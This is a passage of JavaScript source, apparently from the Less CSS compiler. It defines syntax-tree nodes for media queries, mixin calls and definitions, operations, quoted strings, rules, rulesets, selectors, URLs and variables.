sels; }, markReferenced: function () { var i, rules = this.rules[0].rules; this.isReferenced = true; for (i = 0; i < rules.length; i++) { if (rules[i].markReferenced) { rules[i].markReferenced(); } } }, evalTop: function (env) { var result = this; // Render all dependent Media blocks. if (env.mediaBlocks.length > 1) { var selectors = this.emptySelectors(); result = new(tree.Ruleset)(selectors, env.mediaBlocks); result.multiMedia = true; } delete env.mediaBlocks; delete env.mediaPath; return result; }, evalNested: function (env) { var i, value, path = env.mediaPath.concat([this]); // Extract the media-query conditions separated with `,` (OR). for (i = 0; i < path.length; i++) { value = path[i].features instanceof tree.Value ? path[i].features.value : path[i].features; path[i] = Array.isArray(value) ? value : [value]; } // Trace all permutations to generate the resulting media-query. // // (a, b and c) with nested (d, e) -> // a and d // a and e // b and c and d // b and c and e this.features = new(tree.Value)(this.permute(path).map(function (path) { path = path.map(function (fragment) { return fragment.toCSS ? fragment : new(tree.Anonymous)(fragment); }); for(i = path.length - 1; i > 0; i--) { path.splice(i, 0, new(tree.Anonymous)("and")); } return new(tree.Expression)(path); })); // Fake a tree-node that doesn't output anything. return new(tree.Ruleset)([], []); }, permute: function (arr) { if (arr.length === 0) { return []; } else if (arr.length === 1) { return arr[0]; } else { var result = []; var rest = this.permute(arr.slice(1)); for (var i = 0; i < rest.length; i++) { for (var j = 0; j < arr[0].length; j++) { result.push([arr[0][j]].concat(rest[i])); } } return result; } }, bubbleSelectors: function (selectors) { this.rules = [new(tree.Ruleset)(selectors.slice(0), [this.rules[0]])]; } }; })(require('../tree')); (function (tree) { tree.mixin = {}; tree.mixin.Call = function (elements, args, index, currentFileInfo, important) { this.selector = new(tree.Selector)(elements); this.arguments = (args && args.length) ? args : null; this.index = index; this.currentFileInfo = currentFileInfo; this.important = important; }; tree.mixin.Call.prototype = { type: "MixinCall", accept: function (visitor) { if (this.selector) { this.selector = visitor.visit(this.selector); } if (this.arguments) { this.arguments = visitor.visitArray(this.arguments); } }, eval: function (env) { var mixins, mixin, args, rules = [], match = false, i, m, f, isRecursive, isOneFound, rule, candidates = [], candidate, conditionResult = [], defaultFunc = tree.defaultFunc, defaultResult, defNone = 0, defTrue = 1, defFalse = 2, count; args = this.arguments && this.arguments.map(function (a) { return { name: a.name, value: a.value.eval(env) }; }); for (i = 0; i < env.frames.length; i++) { if ((mixins = env.frames[i].find(this.selector)).length > 0) { isOneFound = true; // To make `default()` function independent of definition order we have two "subpasses" here. // At first we evaluate each guard *twice* (with `default() == true` and `default() == false`), // and build candidate list with corresponding flags. Then, when we know all possible matches, // we make a final decision. for (m = 0; m < mixins.length; m++) { mixin = mixins[m]; isRecursive = false; for(f = 0; f < env.frames.length; f++) { if ((!(mixin instanceof tree.mixin.Definition)) && mixin === (env.frames[f].originalRuleset || env.frames[f])) { isRecursive = true; break; } } if (isRecursive) { continue; } if (mixin.matchArgs(args, env)) { candidate = {mixin: mixin, group: defNone}; if (mixin.matchCondition) { for (f = 0; f < 2; f++) { defaultFunc.value(f); conditionResult[f] = mixin.matchCondition(args, env); } if (conditionResult[0] || conditionResult[1]) { if (conditionResult[0] != conditionResult[1]) { candidate.group = conditionResult[1] ? defTrue : defFalse; } candidates.push(candidate); } } else { candidates.push(candidate); } match = true; } } defaultFunc.reset(); count = [0, 0, 0]; for (m = 0; m < candidates.length; m++) { count[candidates[m].group]++; } if (count[defNone] > 0) { defaultResult = defFalse; } else { defaultResult = defTrue; if ((count[defTrue] + count[defFalse]) > 1) { throw { type: 'Runtime', message: 'Ambiguous use of `default()` found when matching for `' + this.format(args) + '`', index: this.index, filename: this.currentFileInfo.filename }; } } for (m = 0; m < candidates.length; m++) { candidate = candidates[m].group; if ((candidate === defNone) || (candidate === defaultResult)) { try { mixin = candidates[m].mixin; if (!(mixin instanceof tree.mixin.Definition)) { mixin = new tree.mixin.Definition("", [], mixin.rules, null, false); mixin.originalRuleset = mixins[m].originalRuleset || mixins[m]; } Array.prototype.push.apply( rules, mixin.eval(env, args, this.important).rules); } catch (e) { throw { message: e.message, index: this.index, filename: this.currentFileInfo.filename, stack: e.stack }; } } } if (match) { if (!this.currentFileInfo || !this.currentFileInfo.reference) { for (i = 0; i < rules.length; i++) { rule = rules[i]; if (rule.markReferenced) { rule.markReferenced(); } } } return rules; } } } if (isOneFound) { throw { type: 'Runtime', message: 'No matching definition was found for `' + this.format(args) + '`', index: this.index, filename: this.currentFileInfo.filename }; } else { throw { type: 'Name', message: this.selector.toCSS().trim() + " is undefined", index: this.index, filename: this.currentFileInfo.filename }; } }, format: function (args) { return this.selector.toCSS().trim() + '(' + (args ? args.map(function (a) { var argValue = ""; if (a.name) { argValue += a.name + ":"; } if (a.value.toCSS) { argValue += a.value.toCSS(); } else { argValue += "???"; } return argValue; }).join(', ') : "") + ")"; } }; tree.mixin.Definition = function (name, params, rules, condition, variadic) { this.name = name; this.selectors = [new(tree.Selector)([new(tree.Element)(null, name, this.index, this.currentFileInfo)])]; this.params = params; this.condition = condition; this.variadic = variadic; this.arity = params.length; this.rules = rules; this._lookups = {}; this.required = params.reduce(function (count, p) { if (!p.name || (p.name && !p.value)) { return count + 1; } else { return count; } }, 0); this.parent = tree.Ruleset.prototype; this.frames = []; }; tree.mixin.Definition.prototype = { type: "MixinDefinition", accept: function (visitor) { if (this.params && this.params.length) { this.params = visitor.visitArray(this.params); } this.rules = visitor.visitArray(this.rules); if (this.condition) { this.condition = visitor.visit(this.condition); } }, variable: function (name) { return this.parent.variable.call(this, name); }, variables: function () { return this.parent.variables.call(this); }, find: function () { return this.parent.find.apply(this, arguments); }, rulesets: function () { return this.parent.rulesets.apply(this); }, evalParams: function (env, mixinEnv, args, evaldArguments) { /*jshint boss:true */ var frame = new(tree.Ruleset)(null, null), varargs, arg, params = this.params.slice(0), i, j, val, name, isNamedFound, argIndex; mixinEnv = new tree.evalEnv(mixinEnv, [frame].concat(mixinEnv.frames)); if (args) { args = args.slice(0); for(i = 0; i < args.length; i++) { arg = args[i]; if (name = (arg && arg.name)) { isNamedFound = false; for(j = 0; j < params.length; j++) { if (!evaldArguments[j] && name === params[j].name) { evaldArguments[j] = arg.value.eval(env); frame.prependRule(new(tree.Rule)(name, arg.value.eval(env))); isNamedFound = true; break; } } if (isNamedFound) { args.splice(i, 1); i--; continue; } else { throw { type: 'Runtime', message: "Named argument for " + this.name + ' ' + args[i].name + ' not found' }; } } } } argIndex = 0; for (i = 0; i < params.length; i++) { if (evaldArguments[i]) { continue; } arg = args && args[argIndex]; if (name = params[i].name) { if (params[i].variadic && args) { varargs = []; for (j = argIndex; j < args.length; j++) { varargs.push(args[j].value.eval(env)); } frame.prependRule(new(tree.Rule)(name, new(tree.Expression)(varargs).eval(env))); } else { val = arg && arg.value; if (val) { val = val.eval(env); } else if (params[i].value) { val = params[i].value.eval(mixinEnv); frame.resetCache(); } else { throw { type: 'Runtime', message: "wrong number of arguments for " + this.name + ' (' + args.length + ' for ' + this.arity + ')' }; } frame.prependRule(new(tree.Rule)(name, val)); evaldArguments[i] = val; } } if (params[i].variadic && args) { for (j = argIndex; j < args.length; j++) { evaldArguments[j] = args[j].value.eval(env); } } argIndex++; } return frame; }, eval: function (env, args, important) { var _arguments = [], mixinFrames = this.frames.concat(env.frames), frame = this.evalParams(env, new(tree.evalEnv)(env, mixinFrames), args, _arguments), rules, ruleset; frame.prependRule(new(tree.Rule)('@arguments', new(tree.Expression)(_arguments).eval(env))); rules = this.rules.slice(0); ruleset = new(tree.Ruleset)(null, rules); ruleset.originalRuleset = this; ruleset = ruleset.eval(new(tree.evalEnv)(env, [this, frame].concat(mixinFrames))); if (important) { ruleset = this.parent.makeImportant.apply(ruleset); } return ruleset; }, matchCondition: function (args, env) { if (this.condition && !this.condition.eval( new(tree.evalEnv)(env, [this.evalParams(env, new(tree.evalEnv)(env, this.frames.concat(env.frames)), args, [])] // the parameter variables .concat(this.frames) // the parent namespace/mixin frames .concat(env.frames)))) { // the current environment frames return false; } return true; }, matchArgs: function (args, env) { var argsLength = (args && args.length) || 0, len; if (! this.variadic) { if (argsLength < this.required) { return false; } if (argsLength > this.params.length) { return false; } } else { if (argsLength < (this.required - 1)) { return false; } } len = Math.min(argsLength, this.arity); for (var i = 0; i < len; i++) { if (!this.params[i].name && !this.params[i].variadic) { if (args[i].value.eval(env).toCSS() != this.params[i].value.eval(env).toCSS()) { return false; } } } return true; } }; })(require('../tree')); (function (tree) { tree.Negative = function (node) { this.value = node; }; tree.Negative.prototype = { type: "Negative", accept: function (visitor) { this.value = visitor.visit(this.value); }, genCSS: function (env, output) { output.add('-'); this.value.genCSS(env, output); }, toCSS: tree.toCSS, eval: function (env) { if (env.isMathOn()) { return (new(tree.Operation)('*', [new(tree.Dimension)(-1), this.value])).eval(env); } return new(tree.Negative)(this.value.eval(env)); } }; })(require('../tree')); (function (tree) { tree.Operation = function (op, operands, isSpaced) { this.op = op.trim(); this.operands = operands; this.isSpaced = isSpaced; }; tree.Operation.prototype = { type: "Operation", accept: function (visitor) { this.operands = visitor.visit(this.operands); }, eval: function (env) { var a = this.operands[0].eval(env), b = this.operands[1].eval(env); if (env.isMathOn()) { if (a instanceof tree.Dimension && b instanceof tree.Color) { a = a.toColor(); } if (b instanceof tree.Dimension && a instanceof tree.Color) { b = b.toColor(); } if (!a.operate) { throw { type: "Operation", message: "Operation on an invalid type" }; } return a.operate(env, this.op, b); } else { return new(tree.Operation)(this.op, [a, b], this.isSpaced); } }, genCSS: function (env, output) { this.operands[0].genCSS(env, output); if (this.isSpaced) { output.add(" "); } output.add(this.op); if (this.isSpaced) { output.add(" "); } this.operands[1].genCSS(env, output); }, toCSS: tree.toCSS }; tree.operate = function (env, op, a, b) { switch (op) { case '+': return a + b; case '-': return a - b; case '*': return a * b; case '/': return a / b; } }; })(require('../tree')); (function (tree) { tree.Paren = function (node) { this.value = node; }; tree.Paren.prototype = { type: "Paren", accept: function (visitor) { this.value = visitor.visit(this.value); }, genCSS: function (env, output) { output.add('('); this.value.genCSS(env, output); output.add(')'); }, toCSS: tree.toCSS, eval: function (env) { return new(tree.Paren)(this.value.eval(env)); } }; })(require('../tree')); (function (tree) { tree.Quoted = function (str, content, escaped, index, currentFileInfo) { this.escaped = escaped; this.value = content || ''; this.quote = str.charAt(0); this.index = index; this.currentFileInfo = currentFileInfo; }; tree.Quoted.prototype = { type: "Quoted", genCSS: function (env, output) { if (!this.escaped) { output.add(this.quote, this.currentFileInfo, this.index); } output.add(this.value); if (!this.escaped) { output.add(this.quote); } }, toCSS: tree.toCSS, eval: function (env) { var that = this; var value = this.value.replace(/`([^`]+)`/g, function (_, exp) { return new(tree.JavaScript)(exp, that.index, true).eval(env).value; }).replace(/@\{([\w-]+)\}/g, function (_, name) { var v = new(tree.Variable)('@' + name, that.index, that.currentFileInfo).eval(env, true); return (v instanceof tree.Quoted) ? v.value : v.toCSS(); }); return new(tree.Quoted)(this.quote + value + this.quote, value, this.escaped, this.index, this.currentFileInfo); }, compare: function (x) { if (!x.toCSS) { return -1; } var left = this.toCSS(), right = x.toCSS(); if (left === right) { return 0; } return left < right ? -1 : 1; } }; })(require('../tree')); (function (tree) { tree.Rule = function (name, value, important, merge, index, currentFileInfo, inline) { this.name = name; this.value = (value instanceof tree.Value) ? value : new(tree.Value)([value]); this.important = important ? ' ' + important.trim() : ''; this.merge = merge; this.index = index; this.currentFileInfo = currentFileInfo; this.inline = inline || false; this.variable = name.charAt && (name.charAt(0) === '@'); }; tree.Rule.prototype = { type: "Rule", accept: function (visitor) { this.value = visitor.visit(this.value); }, genCSS: function (env, output) { output.add(this.name + (env.compress ? ':' : ': '), this.currentFileInfo, this.index); try { this.value.genCSS(env, output); } catch(e) { e.index = this.index; e.filename = this.currentFileInfo.filename; throw e; } output.add(this.important + ((this.inline || (env.lastRule && env.compress)) ? "" : ";"), this.currentFileInfo, this.index); }, toCSS: tree.toCSS, eval: function (env) { var strictMathBypass = false, name = this.name; if (typeof name !== "string") { // expand 'primitive' name directly to get // things faster (~10% for benchmark.less): name = (name.length === 1) && (name[0] instanceof tree.Keyword) ? name[0].value : evalName(env, name); } if (name === "font" && !env.strictMath) { strictMathBypass = true; env.strictMath = true; } try { return new(tree.Rule)(name, this.value.eval(env), this.important, this.merge, this.index, this.currentFileInfo, this.inline); } catch(e) { e.index = e.index || this.index; throw e; } finally { if (strictMathBypass) { env.strictMath = false; } } }, makeImportant: function () { return new(tree.Rule)(this.name, this.value, "!important", this.merge, this.index, this.currentFileInfo, this.inline); } }; function evalName(env, name) { var value = "", i, n = name.length, output = {add: function (s) {value += s;}}; for (i = 0; i < n; i++) { name[i].eval(env).genCSS(env, output); } return value; } })(require('../tree')); (function (tree) { tree.Ruleset = function (selectors, rules, strictImports) { this.selectors = selectors; this.rules = rules; this._lookups = {}; this.strictImports = strictImports; }; tree.Ruleset.prototype = { type: "Ruleset", accept: function (visitor) { if (this.paths) { visitor.visitArray(this.paths, true); } else if (this.selectors) { this.selectors = visitor.visitArray(this.selectors); } if (this.rules && this.rules.length) { this.rules = visitor.visitArray(this.rules); } }, eval: function (env) { var thisSelectors = this.selectors, selectors, selCnt, i, defaultFunc = tree.defaultFunc; if (thisSelectors && (selCnt = thisSelectors.length)) { selectors = []; defaultFunc.error({ type: "Syntax", message: "it is currently only allowed in parametric mixin guards," }); for (i = 0; i < selCnt; i++) { selectors.push(thisSelectors[i].eval(env)); } defaultFunc.reset(); } var rules = this.rules ? this.rules.slice(0) : null, ruleset = new(tree.Ruleset)(selectors, rules, this.strictImports), rule, subRule; ruleset.originalRuleset = this; ruleset.root = this.root; ruleset.firstRoot = this.firstRoot; ruleset.allowImports = this.allowImports; if(this.debugInfo) { ruleset.debugInfo = this.debugInfo; } // push the current ruleset to the frames stack var envFrames = env.frames; envFrames.unshift(ruleset); // currrent selectors var envSelectors = env.selectors; if (!envSelectors) { env.selectors = envSelectors = []; } envSelectors.unshift(this.selectors); // Evaluate imports if (ruleset.root || ruleset.allowImports || !ruleset.strictImports) { ruleset.evalImports(env); } // Store the frames around mixin definitions, // so they can be evaluated like closures when the time comes. var rsRules = ruleset.rules, rsRuleCnt = rsRules ? rsRules.length : 0; for (i = 0; i < rsRuleCnt; i++) { if (rsRules[i] instanceof tree.mixin.Definition) { rsRules[i].frames = envFrames.slice(0); } } var mediaBlockCount = (env.mediaBlocks && env.mediaBlocks.length) || 0; // Evaluate mixin calls. for (i = 0; i < rsRuleCnt; i++) { if (rsRules[i] instanceof tree.mixin.Call) { /*jshint loopfunc:true */ rules = rsRules[i].eval(env).filter(function(r) { if ((r instanceof tree.Rule) && r.variable) { // do not pollute the scope if the variable is // already there. consider returning false here // but we need a way to "return" variable from mixins return !(ruleset.variable(r.name)); } return true; }); rsRules.splice.apply(rsRules, [i, 1].concat(rules)); rsRuleCnt += rules.length - 1; i += rules.length-1; ruleset.resetCache(); } } // Evaluate everything else for (i = 0; i < rsRules.length; i++) { rule = rsRules[i]; if (! (rule instanceof tree.mixin.Definition)) { rsRules[i] = rule = rule.eval ? rule.eval(env) : rule; // for rulesets, check if it is a css guard and can be removed if (rule instanceof tree.Ruleset && rule.selectors && rule.selectors.length === 1) { // check if it can be folded in (e.g. & where) if (rule.selectors[0].isJustParentSelector()) { rsRules.splice(i--, 1); // cannot call if there is no selector, so we can just continue if (!rule.selectors[0].evaldCondition) { continue; } for(var j = 0; j < rule.rules.length; j++) { subRule = rule.rules[j]; if (!(subRule instanceof tree.Rule) || !subRule.variable) { rsRules.splice(++i, 0, subRule); } } } } } } // Pop the stack envFrames.shift(); envSelectors.shift(); if (env.mediaBlocks) { for (i = mediaBlockCount; i < env.mediaBlocks.length; i++) { env.mediaBlocks[i].bubbleSelectors(selectors); } } return ruleset; }, evalImports: function(env) { var rules = this.rules, i, importRules; if (!rules) { return; } for (i = 0; i < rules.length; i++) { if (rules[i] instanceof tree.Import) { importRules = rules[i].eval(env); if (importRules && importRules.length) { rules.splice.apply(rules, [i, 1].concat(importRules)); i+= importRules.length-1; } else { rules.splice(i, 1, importRules); } this.resetCache(); } } }, makeImportant: function() { return new tree.Ruleset(this.selectors, this.rules.map(function (r) { if (r.makeImportant) { return r.makeImportant(); } else { return r; } }), this.strictImports); }, matchArgs: function (args) { return !args || args.length === 0; }, // lets you call a css selector with a guard matchCondition: function (args, env) { var lastSelector = this.selectors[this.selectors.length-1]; if (!lastSelector.evaldCondition) { return false; } if (lastSelector.condition && !lastSelector.condition.eval( new(tree.evalEnv)(env, env.frames))) { return false; } return true; }, resetCache: function () { this._rulesets = null; this._variables = null; this._lookups = {}; }, variables: function () { if (!this._variables) { this._variables = !this.rules ? {} : this.rules.reduce(function (hash, r) { if (r instanceof tree.Rule && r.variable === true) { hash[r.name] = r; } return hash; }, {}); } return this._variables; }, variable: function (name) { return this.variables()[name]; }, rulesets: function () { if (!this.rules) { return null; } var _Ruleset = tree.Ruleset, _MixinDefinition = tree.mixin.Definition, filtRules = [], rules = this.rules, cnt = rules.length, i, rule; for (i = 0; i < cnt; i++) { rule = rules[i]; if ((rule instanceof _Ruleset) || (rule instanceof _MixinDefinition)) { filtRules.push(rule); } } return filtRules; }, prependRule: function (rule) { var rules = this.rules; if (rules) { rules.unshift(rule); } else { this.rules = [ rule ]; } }, find: function (selector, self) { self = self || this; var rules = [], match, key = selector.toCSS(); if (key in this._lookups) { return this._lookups[key]; } this.rulesets().forEach(function (rule) { if (rule !== self) { for (var j = 0; j < rule.selectors.length; j++) { match = selector.match(rule.selectors[j]); if (match) { if (selector.elements.length > match) { Array.prototype.push.apply(rules, rule.find( new(tree.Selector)(selector.elements.slice(match)), self)); } else { rules.push(rule); } break; } } } }); this._lookups[key] = rules; return rules; }, genCSS: function (env, output) { var i, j, ruleNodes = [], rulesetNodes = [], rulesetNodeCnt, debugInfo, // Line number debugging rule, path; env.tabLevel = (env.tabLevel || 0); if (!this.root) { env.tabLevel++; } var tabRuleStr = env.compress ? '' : Array(env.tabLevel + 1).join(" "), tabSetStr = env.compress ? '' : Array(env.tabLevel).join(" "), sep; for (i = 0; i < this.rules.length; i++) { rule = this.rules[i]; if (rule.rules || (rule instanceof tree.Media) || rule instanceof tree.Directive || (this.root && rule instanceof tree.Comment)) { rulesetNodes.push(rule); } else { ruleNodes.push(rule); } } // If this is the root node, we don't render // a selector, or {}. if (!this.root) { debugInfo = tree.debugInfo(env, this, tabSetStr); if (debugInfo) { output.add(debugInfo); output.add(tabSetStr); } var paths = this.paths, pathCnt = paths.length, pathSubCnt; sep = env.compress ? ',' : (',\n' + tabSetStr); for (i = 0; i < pathCnt; i++) { path = paths[i]; if (!(pathSubCnt = path.length)) { continue; } if (i > 0) { output.add(sep); } env.firstSelector = true; path[0].genCSS(env, output); env.firstSelector = false; for (j = 1; j < pathSubCnt; j++) { path[j].genCSS(env, output); } } output.add((env.compress ? '{' : ' {\n') + tabRuleStr); } // Compile rules and rulesets for (i = 0; i < ruleNodes.length; i++) { rule = ruleNodes[i]; // @page{ directive ends up with root elements inside it, a mix of rules and rulesets // In this instance we do not know whether it is the last property if (i + 1 === ruleNodes.length && (!this.root || rulesetNodes.length === 0 || this.firstRoot)) { env.lastRule = true; } if (rule.genCSS) { rule.genCSS(env, output); } else if (rule.value) { output.add(rule.value.toString()); } if (!env.lastRule) { output.add(env.compress ? '' : ('\n' + tabRuleStr)); } else { env.lastRule = false; } } if (!this.root) { output.add((env.compress ? '}' : '\n' + tabSetStr + '}')); env.tabLevel--; } sep = (env.compress ? "" : "\n") + (this.root ? tabRuleStr : tabSetStr); rulesetNodeCnt = rulesetNodes.length; if (rulesetNodeCnt) { if (ruleNodes.length && sep) { output.add(sep); } rulesetNodes[0].genCSS(env, output); for (i = 1; i < rulesetNodeCnt; i++) { if (sep) { output.add(sep); } rulesetNodes[i].genCSS(env, output); } } if (!output.isEmpty() && !env.compress && this.firstRoot) { output.add('\n'); } }, toCSS: tree.toCSS, markReferenced: function () { for (var s = 0; s < this.selectors.length; s++) { this.selectors[s].markReferenced(); } }, joinSelectors: function (paths, context, selectors) { for (var s = 0; s < selectors.length; s++) { this.joinSelector(paths, context, selectors[s]); } }, joinSelector: function (paths, context, selector) { var i, j, k, hasParentSelector, newSelectors, el, sel, parentSel, newSelectorPath, afterParentJoin, newJoinedSelector, newJoinedSelectorEmpty, lastSelector, currentElements, selectorsMultiplied; for (i = 0; i < selector.elements.length; i++) { el = selector.elements[i]; if (el.value === '&') { hasParentSelector = true; } } if (!hasParentSelector) { if (context.length > 0) { for (i = 0; i < context.length; i++) { paths.push(context[i].concat(selector)); } } else { paths.push([selector]); } return; } // The paths are [[Selector]] // The first list is a list of comma seperated selectors // The inner list is a list of inheritance seperated selectors // e.g. // .a, .b { // .c { // } // } // == [[.a] [.c]] [[.b] [.c]] // // the elements from the current selector so far currentElements = []; // the current list of new selectors to add to the path. // We will build it up. We initiate it with one empty selector as we "multiply" the new selectors // by the parents newSelectors = [[]]; for (i = 0; i < selector.elements.length; i++) { el = selector.elements[i]; // non parent reference elements just get added if (el.value !== "&") { currentElements.push(el); } else { // the new list of selectors to add selectorsMultiplied = []; // merge the current list of non parent selector elements // on to the current list of selectors to add if (currentElements.length > 0) { this.mergeElementsOnToSelectors(currentElements, newSelectors); } // loop through our current selectors for (j = 0; j < newSelectors.length; j++) { sel = newSelectors[j]; // if we don't have any parent paths, the & might be in a mixin so that it can be used // whether there are parents or not if (context.length === 0) { // the combinator used on el should now be applied to the next element instead so that // it is not lost if (sel.length > 0) { sel[0].elements = sel[0].elements.slice(0); sel[0].elements.push(new(tree.Element)(el.combinator, '', el.index, el.currentFileInfo)); } selectorsMultiplied.push(sel); } else { // and the parent selectors for (k = 0; k < context.length; k++) { parentSel = context[k]; // We need to put the current selectors // then join the last selector's elements on to the parents selectors // our new selector path newSelectorPath = []; // selectors from the parent after the join afterParentJoin = []; newJoinedSelectorEmpty = true; //construct the joined selector - if & is the first thing this will be empty, // if not newJoinedSelector will be the last set of elements in the selector if (sel.length > 0) { newSelectorPath = sel.slice(0); lastSelector = newSelectorPath.pop(); newJoinedSelector = selector.createDerived(lastSelector.elements.slice(0)); newJoinedSelectorEmpty = false; } else { newJoinedSelector = selector.createDerived([]); } //put together the parent selectors after the join if (parentSel.length > 1) { afterParentJoin = afterParentJoin.concat(parentSel.slice(1)); } if (parentSel.length > 0) { newJoinedSelectorEmpty = false; // join the elements so far with the first part of the parent newJoinedSelector.elements.push(new(tree.Element)(el.combinator, parentSel[0].elements[0].value, el.index, el.currentFileInfo)); newJoinedSelector.elements = newJoinedSelector.elements.concat(parentSel[0].elements.slice(1)); } if (!newJoinedSelectorEmpty) { // now add the joined selector newSelectorPath.push(newJoinedSelector); } // and the rest of the parent newSelectorPath = newSelectorPath.concat(afterParentJoin); // add that to our new set of selectors selectorsMultiplied.push(newSelectorPath); } } } // our new selectors has been multiplied, so reset the state newSelectors = selectorsMultiplied; currentElements = []; } } // if we have any elements left over (e.g. .a& .b == .b) // add them on to all the current selectors if (currentElements.length > 0) { this.mergeElementsOnToSelectors(currentElements, newSelectors); } for (i = 0; i < newSelectors.length; i++) { if (newSelectors[i].length > 0) { paths.push(newSelectors[i]); } } }, mergeElementsOnToSelectors: function(elements, selectors) { var i, sel; if (selectors.length === 0) { selectors.push([ new(tree.Selector)(elements) ]); return; } for (i = 0; i < selectors.length; i++) { sel = selectors[i]; // if the previous thing in sel is a parent this needs to join on to it if (sel.length > 0) { sel[sel.length - 1] = sel[sel.length - 1].createDerived(sel[sel.length - 1].elements.concat(elements)); } else { sel.push(new(tree.Selector)(elements)); } } } }; })(require('../tree')); (function (tree) { tree.Selector = function (elements, extendList, condition, index, currentFileInfo, isReferenced) { this.elements = elements; this.extendList = extendList; this.condition = condition; this.currentFileInfo = currentFileInfo || {}; this.isReferenced = isReferenced; if (!condition) { this.evaldCondition = true; } }; tree.Selector.prototype = { type: "Selector", accept: function (visitor) { if (this.elements) { this.elements = visitor.visitArray(this.elements); } if (this.extendList) { this.extendList = visitor.visitArray(this.extendList); } if (this.condition) { this.condition = visitor.visit(this.condition); } }, createDerived: function(elements, extendList, evaldCondition) { evaldCondition = (evaldCondition != null) ? evaldCondition : this.evaldCondition; var newSelector = new(tree.Selector)(elements, extendList || this.extendList, null, this.index, this.currentFileInfo, this.isReferenced); newSelector.evaldCondition = evaldCondition; newSelector.mediaEmpty = this.mediaEmpty; return newSelector; }, match: function (other) { var elements = this.elements, len = elements.length, olen, i; other.CacheElements(); olen = other._elements.length; if (olen === 0 || len < olen) { return 0; } else { for (i = 0; i < olen; i++) { if (elements[i].value !== other._elements[i]) { return 0; } } } return olen; // return number of matched elements }, CacheElements: function(){ var css = '', len, v, i; if( !this._elements ){ len = this.elements.length; for(i = 0; i < len; i++){ v = this.elements[i]; css += v.combinator.value; if( !v.value.value ){ css += v.value; continue; } if( typeof v.value.value !== "string" ){ css = ''; break; } css += v.value.value; } this._elements = css.match(/[,&#\.\w-]([\w-]|(\\.))*/g); if (this._elements) { if (this._elements[0] === "&") { this._elements.shift(); } } else { this._elements = []; } } }, isJustParentSelector: function() { return !this.mediaEmpty && this.elements.length === 1 && this.elements[0].value === '&' && (this.elements[0].combinator.value === ' ' || this.elements[0].combinator.value === ''); }, eval: function (env) { var evaldCondition = this.condition && this.condition.eval(env), elements = this.elements, extendList = this.extendList; elements = elements && elements.map(function (e) { return e.eval(env); }); extendList = extendList && extendList.map(function(extend) { return extend.eval(env); }); return this.createDerived(elements, extendList, evaldCondition); }, genCSS: function (env, output) { var i, element; if ((!env || !env.firstSelector) && this.elements[0].combinator.value === "") { output.add(' ', this.currentFileInfo, this.index); } if (!this._css) { //TODO caching? speed comparison? for(i = 0; i < this.elements.length; i++) { element = this.elements[i]; element.genCSS(env, output); } } }, toCSS: tree.toCSS, markReferenced: function () { this.isReferenced = true; }, getIsReferenced: function() { return !this.currentFileInfo.reference || this.isReferenced; }, getIsOutput: function() { return this.evaldCondition; } }; })(require('../tree')); (function (tree) { tree.UnicodeDescriptor = function (value) { this.value = value; }; tree.UnicodeDescriptor.prototype = { type: "UnicodeDescriptor", genCSS: function (env, output) { output.add(this.value); }, toCSS: tree.toCSS, eval: function () { return this; } }; })(require('../tree')); (function (tree) { tree.URL = function (val, currentFileInfo, isEvald) { this.value = val; this.currentFileInfo = currentFileInfo; this.isEvald = isEvald; }; tree.URL.prototype = { type: "Url", accept: function (visitor) { this.value = visitor.visit(this.value); }, genCSS: function (env, output) { output.add("url("); this.value.genCSS(env, output); output.add(")"); }, toCSS: tree.toCSS, eval: function (ctx) { var val = this.value.eval(ctx), rootpath; if (!this.isEvald) { // Add the base path if the URL is relative rootpath = this.currentFileInfo && this.currentFileInfo.rootpath; if (rootpath && typeof val.value === "string" && ctx.isPathRelative(val.value)) { if (!val.quote) { rootpath = rootpath.replace(/[\(\)'"\s]/g, function(match) { return "\\"+match; }); } val.value = rootpath + val.value; } val.value = ctx.normalizePath(val.value); // Add url args if enabled if (ctx.urlArgs) { if (!val.value.match(/^\s*data:/)) { var delimiter = val.value.indexOf('?') === -1 ? '?' : '&'; var urlArgs = delimiter + ctx.urlArgs; if (val.value.indexOf('#') !== -1) { val.value = val.value.replace('#', urlArgs + '#'); } else { val.value += urlArgs; } } } } return new(tree.URL)(val, this.currentFileInfo, true); } }; })(require('../tree')); (function (tree) { tree.Value = function (value) { this.value = value; }; tree.Value.prototype = { type: "Value", accept: function (visitor) { if (this.value) { this.value = visitor.visitArray(this.value); } }, eval: function (env) { if (this.value.length === 1) { return this.value[0].eval(env); } else { return new(tree.Value)(this.value.map(function (v) { return v.eval(env); })); } }, genCSS: function (env, output) { var i; for(i = 0; i < this.value.length; i++) { this.value[i].genCSS(env, output); if (i+1 < this.value.length) { output.add((env && env.compress) ? ',' : ', '); } } }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { tree.Variable = function (name, index, currentFileInfo) { this.name = name; this.index = index; this.currentFileInfo = currentFileInfo || {}; }; tree.Variable.prototype = { type: "Variable", eval: function (env) { var variable, name = this.name; if (name.indexOf('@@') === 0) { name = '@' + new(tree.Variable)(name.slice(1)).eval(env).value; } if (this.evaluating) { throw { type: 'Name', message: "Recursive variable definition for " + name, filename: this.currentFileInfo.file, index: this.index }; } this.evaluating = true; variable = tree.find(env.frames, function (frame) { var v = frame.variable(name); if (v) { return v.value.eval(env); } }); if (variable) { this.evaluating = false; return variable; } else { throw { type: 'Name', message: "variable " + name + " is undefined", filename: this.currentFileInfo.filename, index: this.index }; } } }; })(require('../tree')); (function (tree) { var parseCopyProperties = [ 'paths', // option - unmodified - paths to search for imports on 'optimization', // option - optimization level (for the chunker) 'files', // list of files that have been imported, used for import-once 'contents', // map - filename to contents of all the files 'contentsIgnoredChars', // map - filename to lines at the begining of each file to ignore 'relativeUrls', // option - whether to adjust URL's to be relative 'rootpath', // option - rootpath to append to URL's 'strictImports', // option - 'insecure', // option - whether to allow imports from insecure ssl hosts 'dumpLineNumbers', // option - whether to dump line numbers 'compress', // option - whether to compress 'processImports', // option - whether to process imports. if false then imports will not be imported 'syncImport', // option - whether to import synchronously 'javascriptEnabled',// option - whether JavaScript is enabled. if undefined, defaults to true 'mime', // browser only - mime type for sheet import 'useFileCache', // browser only - whether to use the per file session cache 'currentFileInfo' // information about the current file - for error reporting and importing and making urls relative etc. ]; //currentFileInfo = { // 'relativeUrls' - option - whether to adjust URL's to be relative // 'filename' - full resolved filename of current file // 'rootpath' - path to append to normal URLs for this node // 'currentDirectory' - path to the current file, absolute // 'rootFilename' - filename of the base file // 'entryPath' - absolute path to the entry file // 'reference' - whether the file should not be output and only output parts that are referenced tree.parseEnv = function(options) { copyFromOriginal(options, this, parseCopyProperties); if (!this.contents) { this.contents = {}; } if (!this.contentsIgnoredChars) { 